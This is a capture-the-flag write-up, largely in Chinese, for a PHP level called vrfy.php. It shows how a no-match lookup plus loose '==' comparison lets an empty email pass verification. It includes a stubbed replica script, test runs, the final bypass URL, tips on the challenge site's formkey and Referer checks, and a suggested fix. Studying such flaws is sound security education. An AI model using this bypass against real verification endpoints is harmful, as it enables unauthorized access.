Challenge
The script’s filename is vrfy.php. Make the script reply 1. Use the relative path. You don’t know any users or emails.
关卡给出校验脚本
vrfy.php,要求给出一段相对路径的 URL(可带 query),让脚本输出1;没有任何已知的用户或邮箱。
关卡页把脚本正文放在 <code> 块里:
<?php if (isset($_GET['name']) && isset($_GET['email'])) { $user = mysql_real_escape_string($_GET['name']); $email = mysql_real_escape_string($_GET['email']); $result= mysql_fetch_assoc(mysql_query("SELECT `email` FROM `members` WHERE name = '$user'")); $reply = false; if ($email == $result['email']) { $reply = true; } } else { $reply = false; } echo ($reply) ? 1 : 0;?>Solution
name 先过 mysql_real_escape_string() 作为 WHERE 条件里的单引号字符串字面量。这个函数会转义 \ ' " \n \r \0 和 Ctrl-Z,所以引号无法闭合,name 侧没有 SQL 注入。同时 email 也被转义后才参与比较,但它不进入 SQL:它只和查询结果做相等判断。
也就是说注入方向被堵死,能动的只有查询结果长什么样和比较表达式怎么算。
SELECT \email` FROM `members` WHERE name = ‘$user’没有LIMIT,但脚本用 mysql_fetch_assoc()只取**第一行**。关键在一行都取不到时它的返回值:布尔false`。
此时 $result 为 false,脚本却直接读 $result['email']。布尔值上的下标访问在 PHP 5 里静默求值为 null(PHP 8 会补一条 Trying to access array offset on value of type bool 警告,结果仍是 null)。于是只要让 name 匹配不到任何成员,比较的右端就固定是 null。
if ($email == $result['email']) 用的是松散比较 ==,null 与字符串比较时按空串处理,于是:
var_dump("" == null); // bool(true)var_dump("0" == null); // bool(false)var_dump("x" == null); // bool(false)var_dump("0e0" == null); // bool(false)所以 $email 必须是空字符串,配合一个匹配不到的 name,$reply 就变成 true,脚本回 1。email 换成 0、x、0e0 都不行:isset($_GET['email']) 对空串仍为 true,email= 不会被前一个 isset 分支挡掉。
PHP 8 已经移除 mysql_* 扩展,于是把三个 DB 调用按关卡语义打桩:mysql_query() 返回空结果集(表中不存在所发送的 name),mysql_fetch_assoc() 对空集返回 false,与线上行为一致。
<?php// Level logic replayed against a members table we know nothing about.// PHP 8 dropped ext/mysql, so the three calls are stubbed to reproduce exactly// what the level depends on: a SELECT matching no row makes mysql_fetch_assoc()// return FALSE, and FALSE['email'] then evaluates to NULL.
function mysql_real_escape_string(string $in): string{ return strtr($in, [ "\\" => "\\\\", "'" => "\\'", '"' => '\\"', "\n" => "\\n", "\r" => "\\r", "\0" => "\\0", "\x1a" => "\\Z", ]);}
function mysql_query(string $sql){ // "SELECT `email` FROM `members` WHERE name = '$user'" — the members table // contains none of the names we send, so every lookup returns no rows. return [];}17 collapsed lines
function mysql_fetch_assoc($result){ return empty($result) ? false : array_shift($result);}
function vrfy(array $get): void{ if (isset($get['name']) && isset($get['email'])) { $user = mysql_real_escape_string($get['name']); $email = mysql_real_escape_string($get['email']); $result = mysql_fetch_assoc(mysql_query("SELECT `email` FROM `members` WHERE name = '$user'")); $reply = false; if ($email == $result['email']) { $reply = true; } } else { $reply = false; } echo $reply ? 1 : 0;}
parse_str($argv[1] ?? '', $get);vrfy($get);echo "\n";工作区里用已安装的 PHP 8.5 跑了几组 query string:
$ php replica_vrfy.php 'name=&email=' 2>/dev/null1$ php replica_vrfy.php 'name=nobody&email=' 2>/dev/null1$ php replica_vrfy.php 'name=nobody&email=0' 2>/dev/null0$ php replica_vrfy.php 'name=nobody&email=x' 2>/dev/null0$ php replica_vrfy.php 'name=nobody' 2>/dev/null0空 email 且 name 匹配不到 → 1;非空 email → 0;只给 name 不给 email(isset 为假)→ 0。与上面的推导一致。(2>/dev/null 只是滤掉 PHP 8 那条布尔下标警告;线上 PHP 5 不产生警告,返回同样是 null。)
Key points
name走mysql_real_escape_string()后拼进单引号字符串,引号闭合不了,SQL 注入不通;email根本不进 SQL,只参与相等判断。mysql_fetch_assoc()在零行时返回false而非空数组,脚本却直接读$result['email'],布尔下标求值为null。- 松比较
==下"" == null为真、任何非空字符串(含"0")为假,所以email必须留空;isset($_GET['email'])对空串为真,email=能通过前置检查。 name只要匹配不到成员即可(本关没有任何已知用户),无需猜邮箱。- playit 提交纪律:
formkey每次加载都变,必须取页面 → 立刻提交;缺少Referer: <关卡页>会被Invalid Referer拒掉且不计分。 - 修正方式:用
===做严格比较,并在使用结果前判断mysql_fetch_assoc()是否为false(更彻底地用 PDO/mysqli 预处理替换已废弃的mysql_*)。
vrfy.php?name=&email=